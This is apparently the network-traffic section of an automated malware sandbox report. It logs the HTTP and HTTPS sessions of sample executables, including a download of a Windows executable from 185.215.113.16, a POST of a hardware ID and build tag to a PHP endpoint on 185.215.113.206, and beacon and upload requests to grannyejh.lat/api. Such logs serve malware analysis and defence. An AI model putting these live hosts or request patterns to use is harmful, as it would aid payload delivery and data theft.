Dec 19, 2024 08:35:34.498431921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:35:34.498471022 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:35:34.500279903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:35:34.500334024 CET	496	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:35:34.500422955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:35:34.500458956 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:35:34.500493050 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:35:34.500854969 CET	1236	IN	Data Raw: 42 b7 5b b4 aa 40 73 cb 99 95 c5 09 5e 73 79 11 9b 24 bf 78 cf 38 5c da da c8 74 84 36 da d2 4e ac 86 5e 56 40 74 82 36 ff b9 fb 0e 98 e9 a2 2a de d0 9b 70 31 ac 95 4c 73 92 81 5e bc 85 b3 09 ae e5 ad 5b 2e 89 74 fa 92 aa 3b 50 d7 8e 77 0d fe 10 Data Ascii: B[@s^sy$x8\t6N^V@t6p1Ls^[.t;PwsT~igW\|,"opz3l1u@{u5XtxR^AHpM.\Q{gJ&=7{NYyz$4xGv"SE7iMRA%uz
Dec 19, 2024 08:35:34.500891924 CET	1236	IN	Data Raw: 5f d2 37 f8 54 28 a1 96 de 58 79 82 e7 69 e7 0d e1 5b 77 e7 22 f0 86 13 65 c4 40 f4 bb 68 1e e8 a1 53 0d e8 80 68 77 86 46 70 d4 ae a5 c5 cb 51 5c 4a df cc c4 85 8d f4 ac ab 41 a2 df 02 3b eb d5 db e4 ec 3e bd 97 0b 7c ca a1 0d 86 7d 2d 6a e5 3a Data Ascii: _7T(Xyi[w"e@hShwFpQ\JA;>\|}-j:lA1 U}8sWLj.hx ;gv-63WY~8@0~pv:qo>zj4vmCQ-Q-{m\~<%n>)97ZU<Za}.
Dec 19, 2024 08:35:34.619704962 CET	1236	IN	Data Raw: c7 91 f6 09 8d 79 22 fb 21 01 68 f3 1e 72 f9 59 7c dc 73 1e c2 be f1 25 2c 98 82 29 8b 12 6e 16 c9 9d 56 71 b0 d2 8d 2b 6d b9 71 c5 a4 87 2c 38 d8 e7 3e 2c 9b 5d 4e 86 ea 83 af 98 af d5 8f c2 8b 99 3e 7e 9c ce de de de 49 3a 27 17 9f 03 ea b9 85 Data Ascii: y"!hrY\|s%,)nVq+mq,8>,]N>~I:'Qm_*ssv4NK%qc1"g-z-BG2'Yn3%#iEB[8nW,V%R2,a=p'Yjf[En-UA})-T\|pZ8zq>,o
Dec 19, 2024 08:35:37.975900888 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 19, 2024 08:35:38.413820028 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:35:37 GMT Content-Type: application/octet-stream Content-Length: 2856960 Last-Modified: Thu, 19 Dec 2024 07:24:04 GMT Connection: keep-alive ETag: "6763ca14-2b9800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 d0 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 4f 00 00 04 00 00 dd 7d 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(N@O},@M$a$$ $h@.rsrc$x@.idata $z@wfoskafw*$)\|@zpagxsbpNr+@.taggant0N"v+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49778	185.215.113.206	80	7756	C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:35:46.971822977 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 19, 2024 08:35:48.318706036 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:35:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 19, 2024 08:35:48.321504116 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJECAEHJJJKJKFIDGCBG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 41 37 33 32 35 37 32 42 43 39 35 31 31 31 37 33 38 38 33 36 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 2d 2d 0d 0a Data Ascii: ------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="hwid"BA732572BC951117388365------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="build"stok------IJECAEHJJJKJKFIDGCBG--
Dec 19, 2024 08:35:48.770889997 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:35:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	104.21.64.80	443	5412	C:\Users\user\Desktop\niwvNnBk2p.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:35:12 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-19 07:35:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-19 07:35:13 UTC	1117	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:35:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o9g4qgkfhtim0emd95upi1sl3a; expires=Mon, 14 Apr 2025 01:21:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qfWNt%2FBrcmvtsvaIRPEf6Ku8J6sRKi6ur14fl96QEAW7Tq7mE8lP1KX3GJU8An37b0wMJ7gEuMo003J2UoqsqKz0FBnf%2FtZlzo0Gl4%2Bu3xMNsFncMkMIiPmYYuKye6cA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45b6f0aa6743f3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1596&min_rtt=1589&rtt_var=611&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=1768625&cwnd=204&unsent_bytes=0&cid=d07d33300397eff4&ts=817&x=0"
2024-12-19 07:35:13 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-19 07:35:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	104.21.64.80	443	5412	C:\Users\user\Desktop\niwvNnBk2p.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:35:14 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: grannyejh.lat
2024-12-19 07:35:14 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-19 07:35:15 UTC	1121	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:35:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ssmlfuf4cagkscrfol2c7hvdci; expires=Mon, 14 Apr 2025 01:21:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MHHPmNMRDcv0a0hj%2Bp%2B44z%2FFj7u92BlWzMfWeAFX3sG5U9KRcoCnE3gocwK0%2FrpaJXqTUMJgygAC1NxzLVXrhNf45NF7Pavm2euBnsQ8wqbdjThEX2QahUOJf1nk%2FIxC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45b6fd6d3f43b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1609&min_rtt=1591&rtt_var=633&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=944&delivery_rate=1682027&cwnd=192&unsent_bytes=0&cid=ea057d6bf5eafbf4&ts=847&x=0"
2024-12-19 07:35:15 UTC	248	IN	Data Raw: 63 34 39 0d 0a 31 6d 6d 6d 37 51 59 45 44 54 73 76 76 4d 2b 45 39 77 4f 6f 55 2f 34 54 6d 2b 73 68 69 79 71 38 30 5a 6f 39 79 54 58 64 76 43 71 74 53 39 44 50 50 44 41 68 47 56 7a 5a 37 62 36 44 63 64 30 32 30 6a 48 36 6a 77 4f 78 54 4e 32 39 36 56 6a 6c 46 36 76 52 43 4f 77 50 78 34 46 31 59 53 45 5a 53 73 54 74 76 71 78 34 69 6a 61 51 4d 61 48 4a 52 4f 46 49 33 62 33 34 58 4b 4a 61 72 64 42 4a 76 67 58 42 68 57 4e 6e 61 56 70 44 30 61 72 68 6b 6d 4c 43 50 5a 64 2b 38 34 59 44 70 77 6a 5a 71 37 67 48 36 33 69 34 79 45 75 62 43 4e 57 47 4a 48 6b 68 51 41 33 5a 6f 61 62 4e 49 63 6b 32 6e 48 2f 39 6a 30 72 6a 51 74 53 31 2b 56 6d 6a 52 62 54 61 51 72 34 4c 77 6f 52 70 62 6e 31 58 53 64 61 68 35 35 68 69 69 6e 2f 63 64 75 48 4a 47 36 6b Data Ascii: c491mmm7QYEDTsvvM+E9wOoU/4Tm+shiyq80Zo9yTXdvCqtS9DPPDAhGVzZ7b6Dcd020jH6jwOxTN296VjlF6vRCOwPx4F1YSEZSsTtvqx4ijaQMaHJROFI3b34XKJardBJvgXBhWNnaVpD0arhkmLCPZd+84YDpwjZq7gH63i4yEubCNWGJHkhQA3ZoabNIck2nH/9j0rjQtS1+VmjRbTaQr4LwoRpbn1XSdah55hiin/cduHJG6k
2024-12-19 07:35:15 UTC	1369	IN	Data Raw: 62 37 4c 44 70 54 72 35 61 72 39 67 49 71 30 58 64 7a 32 4e 71 4c 77 45 4e 31 71 48 6f 6b 47 4c 46 4e 70 31 78 36 34 5a 44 36 6b 44 57 74 2f 4a 51 70 46 69 78 31 45 2b 38 41 73 4f 41 59 32 35 70 56 6b 36 65 34 36 61 53 65 59 70 70 33 46 48 70 69 6b 44 39 52 63 2f 7a 35 78 47 79 46 37 6a 53 43 4f 78 4c 77 6f 46 6c 61 32 39 4c 52 64 57 6d 34 34 64 71 77 7a 79 52 63 66 53 44 54 4f 70 49 32 62 6e 79 55 4b 46 54 73 74 4e 4f 74 41 75 45 77 53 52 68 64 78 6b 56 6e 6f 37 6a 68 57 62 47 4a 39 35 4c 75 5a 59 4e 38 41 6a 5a 76 37 67 48 36 31 2b 36 33 55 75 2f 42 4d 65 48 62 33 52 76 53 30 76 54 71 50 53 54 5a 4d 51 37 6e 32 50 7a 68 30 58 71 51 64 57 36 2f 56 69 76 46 2f 47 65 54 36 78 4c 6e 4d 39 46 61 32 52 56 52 38 6d 74 70 6f 6f 76 30 33 47 62 66 62 6e 52 41 2b Data Ascii: b7LDpTr5ar9gIq0Xdz2NqLwEN1qHokGLFNp1x64ZD6kDWt/JQpFix1E+8AsOAY25pVk6e46aSeYpp3FHpikD9Rc/z5xGyF7jSCOxLwoFla29LRdWm44dqwzyRcfSDTOpI2bnyUKFTstNOtAuEwSRhdxkVno7jhWbGJ95LuZYN8AjZv7gH61+63Uu/BMeHb3RvS0vTqPSTZMQ7n2Pzh0XqQdW6/VivF/GeT6xLnM9Fa2RVR8mtpoov03GbfbnRA+
2024-12-19 07:35:15 UTC	1369	IN	Data Raw: 74 68 2b 73 54 2f 2b 47 43 4a 34 49 30 49 78 75 4a 46 70 61 51 39 43 71 38 4e 56 2b 68 43 6a 63 64 76 58 4a 47 36 6c 46 33 37 76 2b 54 61 52 61 76 4e 42 47 75 77 37 4c 68 32 52 6d 59 6c 78 4a 31 61 62 6c 6d 47 58 59 4f 35 78 35 2f 49 68 4a 34 77 69 51 38 2f 39 48 36 77 2f 2f 37 31 2b 2f 53 66 47 4d 61 6d 68 6f 54 77 33 42 34 2f 2f 56 5a 73 5a 78 78 44 48 30 67 55 62 73 52 39 2b 35 39 6c 71 68 57 37 66 51 53 36 59 45 77 49 39 6f 62 6d 56 55 51 39 71 6c 37 35 35 71 7a 44 47 64 65 37 6e 48 41 2b 35 51 6e 75 75 34 61 36 78 62 73 74 45 4b 67 51 6a 4b 67 57 4e 77 4c 30 59 44 78 2b 33 68 6d 53 47 53 63 5a 42 34 2b 59 4a 4a 37 55 6a 5a 76 76 31 63 72 46 53 79 32 55 4b 36 44 4d 43 44 62 57 74 70 57 55 72 61 71 50 53 51 61 4d 59 39 33 44 2b 35 6a 6c 75 70 45 4a 36 Data Ascii: th+sT/+GCJ4I0IxuJFpaQ9Cq8NV+hCjcdvXJG6lF37v+TaRavNBGuw7Lh2RmYlxJ1ablmGXYO5x5/IhJ4wiQ8/9H6w//71+/SfGMamhoTw3B4//VZsZxxDH0gUbsR9+59lqhW7fQS6YEwI9obmVUQ9ql755qzDGde7nHA+5Qnuu4a6xbstEKgQjKgWNwL0YDx+3hmSGScZB4+YJJ7UjZvv1crFSy2UK6DMCDbWtpWUraqPSQaMY93D+5jlupEJ6
2024-12-19 07:35:15 UTC	166	IN	Data Raw: 77 2f 2f 31 30 47 6d 42 63 71 47 61 57 42 6e 58 6b 50 54 70 75 43 65 5a 73 30 33 6b 58 6e 30 6a 45 44 6f 54 4e 53 68 2b 31 53 68 57 72 57 65 42 76 51 4d 33 4d 38 38 4a 6b 68 56 5a 4d 36 32 39 49 4d 68 31 58 2b 46 4d 66 36 46 41 37 45 49 33 62 7a 78 55 4b 4e 66 73 4e 46 4d 75 67 33 43 67 6d 46 70 5a 55 74 46 30 4b 44 74 6d 6d 72 59 4d 5a 46 31 39 59 31 4c 34 6b 4b 65 2f 62 68 59 73 78 66 6e 6e 6e 32 35 42 4d 53 4d 63 69 5a 77 46 31 53 65 71 75 72 56 4f 59 6f 39 6b 6e 48 32 68 55 2f 69 51 0d 0a Data Ascii: w//10GmBcqGaWBnXkPTpuCeZs03kXn0jEDoTNSh+1ShWrWeBvQM3M88JkhVZM629IMh1X+FMf6FA7EI3bzxUKNfsNFMug3CgmFpZUtF0KDtmmrYMZF19Y1L4kKe/bhYsxfnnn25BMSMciZwF1SequrVOYo9knH2hU/iQ
2024-12-19 07:35:15 UTC	1369	IN	Data Raw: 33 63 64 33 0d 0a 4e 2b 2f 39 6c 69 75 58 72 66 57 57 72 55 50 7a 49 35 71 61 57 35 64 53 4e 75 70 34 5a 46 6e 78 58 48 53 4d 66 36 52 41 37 45 49 38 5a 54 4e 48 59 70 74 2f 38 45 47 72 55 76 44 67 79 51 2b 4c 31 56 4f 30 71 58 70 6b 32 6a 47 4f 35 56 36 39 59 4a 48 35 55 48 62 74 66 6c 61 72 6c 61 37 30 6b 4b 79 43 4d 65 41 61 32 6c 6e 47 51 4f 65 71 76 37 56 4f 59 6f 55 69 33 72 33 6a 77 50 32 42 73 66 7a 2f 31 50 72 44 2f 2f 53 51 62 49 4e 77 59 4e 6c 59 47 64 63 52 64 71 73 34 4a 4e 69 78 54 57 5a 63 50 61 4e 54 2b 64 43 33 37 4c 30 56 4b 52 63 75 70 34 47 39 41 7a 63 7a 7a 77 6d 58 6c 70 62 79 62 33 71 31 58 36 45 4b 4e 78 32 39 63 6b 62 71 55 6e 4d 75 66 4a 52 72 6c 69 36 33 55 65 7a 42 73 4b 44 62 6d 39 6e 58 30 4c 58 76 2b 57 5a 62 38 30 2f 6b 48 Data Ascii: 3cd3N+/9liuXrfWWrUPzI5qaW5dSNup4ZFnxXHSMf6RA7EI8ZTNHYpt/8EGrUvDgyQ+L1VO0qXpk2jGO5V69YJH5UHbtflarla70kKyCMeAa2lnGQOeqv7VOYoUi3r3jwP2Bsfz/1PrD//SQbINwYNlYGdcRdqs4JNixTWZcPaNT+dC37L0VKRcup4G9AzczzwmXlpbyb3q1X6EKNx29ckbqUnMufJRrli63UezBsKDbm9nX0LXv+WZb80/kH
2024-12-19 07:35:15 UTC	1369	IN	Data Raw: 37 6b 2f 58 75 4f 70 56 72 46 43 30 31 6b 4f 37 44 64 61 44 61 6e 52 71 53 31 2b 65 34 36 61 53 65 59 70 70 33 45 66 2b 6d 56 50 71 43 75 2b 6c 2b 30 6d 67 57 72 4f 65 56 2f 6f 53 68 49 68 6f 4a 6a 63 5a 53 39 47 6b 35 5a 70 67 77 7a 32 52 64 50 43 4d 51 75 39 4d 31 4c 6e 34 57 61 31 57 75 74 52 4c 74 51 48 4e 69 47 78 68 62 45 73 4e 6b 4f 33 68 6a 53 47 53 63 62 56 32 36 34 64 54 71 56 65 51 71 72 68 59 70 78 66 6e 6e 6b 79 2b 42 4d 43 49 61 47 42 71 58 30 44 66 6f 75 65 56 62 73 34 36 6c 58 66 34 68 45 62 6b 54 4d 79 35 38 31 43 6e 58 72 50 54 43 50 70 4c 77 35 63 6b 50 69 39 6f 51 4e 43 6a 34 59 4d 68 31 58 2b 46 4d 66 36 46 41 37 45 49 33 37 2f 33 58 4b 52 55 76 4e 39 43 70 68 6e 49 68 6d 78 6a 59 31 4a 44 32 4c 2f 67 6d 6d 6a 4a 4d 70 56 32 38 59 56 Data Ascii: 7k/XuOpVrFC01kO7DdaDanRqS1+e46aSeYpp3Ef+mVPqCu+l+0mgWrOeV/oShIhoJjcZS9Gk5Zpgwz2RdPCMQu9M1Ln4Wa1WutRLtQHNiGxhbEsNkO3hjSGScbV264dTqVeQqrhYpxfnnky+BMCIaGBqX0DfoueVbs46lXf4hEbkTMy581CnXrPTCPpLw5ckPi9oQNCj4YMh1X+FMf6FA7EI37/3XKRUvN9CphnIhmxjY1JD2L/gmmjJMpV28YV
2024-12-19 07:35:15 UTC	1369	IN	Data Raw: 61 4b 34 42 37 31 48 71 4e 6c 58 2b 68 4b 45 69 47 67 6d 4e 78 6c 4c 31 36 76 68 6b 32 2f 59 4e 4a 70 2b 39 6f 42 4b 37 55 44 64 73 2f 78 62 72 46 4b 38 30 6b 4f 7a 43 4d 75 4c 62 57 68 6d 56 67 32 51 37 65 47 4e 49 5a 4a 78 76 57 72 36 68 55 36 70 56 35 43 71 75 46 69 6e 46 2b 65 65 52 4c 6f 4f 78 49 56 69 59 6d 70 66 52 39 75 74 37 5a 5a 75 7a 6a 65 59 66 76 6d 43 53 75 68 4f 32 37 6e 7a 57 61 5a 55 75 64 67 49 2b 6b 76 44 6c 79 51 2b 4c 33 6c 57 30 36 48 68 31 58 36 45 4b 4e 78 32 39 63 6b 62 71 55 50 53 74 2f 39 66 70 6c 53 33 32 30 79 2b 44 73 53 48 64 6d 35 76 58 6c 2f 4d 72 65 2b 51 62 63 6b 78 6d 48 66 77 6a 30 44 74 43 4a 44 7a 2f 30 66 72 44 2f 2f 7a 52 4c 4d 69 77 35 51 6b 65 53 46 41 44 64 6d 68 70 73 30 68 79 7a 71 57 66 76 53 4b 52 65 70 44 Data Ascii: aK4B71HqNlX+hKEiGgmNxlL16vhk2/YNJp+9oBK7UDds/xbrFK80kOzCMuLbWhmVg2Q7eGNIZJxvWr6hU6pV5CquFinF+eeRLoOxIViYmpfR9ut7ZZuzjeYfvmCSuhO27nzWaZUudgI+kvDlyQ+L3lW06Hh1X6EKNx29ckbqUPSt/9fplS320y+DsSHdm5vXl/Mre+QbckxmHfwj0DtCJDz/0frD//zRLMiw5QkeSFADdmhps0hyzqWfvSKRepD
2024-12-19 07:35:15 UTC	1369	IN	Data Raw: 61 79 46 36 6d 65 45 4f 5a 46 68 4a 30 6b 50 69 38 65 54 73 79 2f 34 4a 5a 33 79 58 61 69 54 39 36 66 53 65 35 59 32 61 54 33 48 2b 55 58 73 4a 34 51 6a 55 76 4e 69 48 39 33 65 56 52 64 32 65 33 5a 32 79 48 53 63 63 51 78 7a 49 70 4e 35 30 2f 49 6f 72 56 34 76 56 32 34 7a 6b 2b 6a 42 49 54 42 4a 47 41 76 41 52 36 51 37 65 4b 45 49 5a 4a 68 7a 69 71 73 32 68 53 35 47 73 48 39 34 52 2b 39 46 2b 65 4d 42 76 51 5a 68 4e 63 6b 49 57 78 4c 58 39 69 75 38 4a 59 6d 39 41 2b 37 61 2f 53 50 56 50 68 32 34 4c 54 69 55 71 31 41 72 70 4a 64 74 77 58 4b 69 48 49 6d 49 52 6c 43 6e 76 58 66 31 53 6d 4b 44 74 49 78 34 63 6b 62 71 58 33 64 76 66 5a 59 76 55 62 79 2b 56 4b 35 44 64 4f 65 4a 43 67 76 58 77 32 47 2f 61 6a 56 5a 64 74 78 78 43 47 72 30 68 61 36 48 34 37 68 35 Data Ascii: ayF6meEOZFhJ0kPi8eTsy/4JZ3yXaiT96fSe5Y2aT3H+UXsJ4QjUvNiH93eVRd2e3Z2yHSccQxzIpN50/IorV4vV24zk+jBITBJGAvAR6Q7eKEIZJhziqs2hS5GsH94R+9F+eMBvQZhNckIWxLX9iu8JYm9A+7a/SPVPh24LTiUq1ArpJdtwXKiHImIRlCnvXf1SmKDtIx4ckbqX3dvfZYvUby+VK5DdOeJCgvXw2G/ajVZdtxxCGr0ha6H47h5
2024-12-19 07:35:15 UTC	1369	IN	Data Raw: 71 33 55 61 36 44 4e 4b 65 4a 43 67 76 56 67 32 47 6c 4b 62 64 49 66 56 2f 33 47 6d 35 30 51 50 63 53 39 43 39 2f 30 6d 36 47 70 6a 51 54 37 55 64 31 4a 68 72 4a 69 45 5a 53 35 37 31 74 4e 73 68 7a 69 44 63 4b 61 6e 62 47 4c 77 62 69 65 4f 71 51 4f 56 4f 2f 38 67 49 37 46 6d 4b 7a 33 59 6d 4e 78 6b 4b 33 62 2f 30 6b 32 4c 63 4d 74 74 50 78 36 35 4e 37 6b 6e 49 6f 2b 39 51 35 48 6d 4a 2f 33 61 4b 48 73 65 42 61 6d 46 35 53 41 32 51 37 65 6e 56 4f 66 4e 78 31 44 48 47 78 77 50 78 43 49 62 7a 7a 56 79 6c 57 62 6a 49 57 66 6b 73 79 6f 68 6c 63 48 39 4f 51 70 47 44 30 4c 51 68 68 48 47 61 4d 61 48 62 44 61 6c 4d 7a 2f 4f 67 44 2f 6b 4d 36 6f 30 66 35 46 6e 62 77 58 30 6d 65 52 6b 56 6a 4f 4f 6d 68 79 47 53 63 64 74 79 36 35 74 46 36 6c 37 64 39 4d 5a 68 6a 46 Data Ascii: q3Ua6DNKeJCgvVg2GlKbdIfV/3Gm50QPcS9C9/0m6GpjQT7Ud1JhrJiEZS571tNshziDcKanbGLwbieOqQOVO/8gI7FmKz3YmNxkK3b/0k2LcMttPx65N7knIo+9Q5HmJ/3aKHseBamF5SA2Q7enVOfNx1DHGxwPxCIbzzVylWbjIWfksyohlcH9OQpGD0LQhhHGaMaHbDalMz/OgD/kM6o0f5FnbwX0meRkVjOOmhyGScdty65tF6l7d9MZhjF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49701	104.21.64.80	443	5412	C:\Users\user\Desktop\niwvNnBk2p.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:35:17 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XY6QIBD7TQEP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12808 Host: grannyejh.lat
